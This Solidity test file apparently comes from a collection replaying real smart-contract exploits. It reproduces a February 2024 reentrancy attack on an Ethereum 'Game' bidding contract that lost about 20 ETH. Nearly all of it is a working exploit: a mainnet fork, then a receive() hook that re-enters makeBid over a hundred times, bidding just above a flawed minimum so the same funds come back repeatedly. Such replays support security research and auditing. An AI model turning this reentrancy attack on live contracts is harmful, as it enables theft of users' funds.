src/test/2024-02/Game_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~20 ETH
8// Attacker : https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b
9// Attack Contract : https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a
10// Vuln Contract : https://etherscan.io/address/0x52d69c67536f55efefe02941868e5e762538dbd6
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4
12 
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1757533144033739116
15 
16interface IGame {
17    function newBidEtherMin() external view returns (uint256);
18 
19    function makeBid() external payable;
20}
21 
22contract ContractTest is Test {
23    IGame private constant Game = IGame(0x52d69c67536f55EfEfe02941868e5e762538dBD6);
24    uint8 private reentrancyCalls;
25 
26    function setUp() public {
27        vm.createSelectFork("mainnet", 19_213_946);
28        vm.label(address(Game), "Game");
29    }
30 
31    function testExploit() public {
32        // Start with 0.6 Ether balance
33        deal(address(this), 0.6 ether);
34        emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);
35 
36        // Following amount will be returned multiple times in receive() function when exploiter make the bad bid
37        uint256 bid = (address(this).balance * 49) / 100;
38        Game.makeBid{value: bid}();
39 
40        makeBadBid();
41 
42        emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);
43    }
44 
45    receive() external payable {
46        if (reentrancyCalls <= 109) {
47            ++reentrancyCalls;
48            makeBadBid();
49        } else {
50            return;
51        }
52    }
53 
54    function makeBadBid() internal {
55        // newBidEtherMin() has logic error and thanks to this exploiter can bypass the require statement in makeBid()
56        // require(msg.value > newBidEtherMin(), "bid is too low");
57        uint256 badBid = Game.newBidEtherMin() + 1; // +1 because "bid is too low"
58        Game.makeBid{value: badBid}();
59    }
60}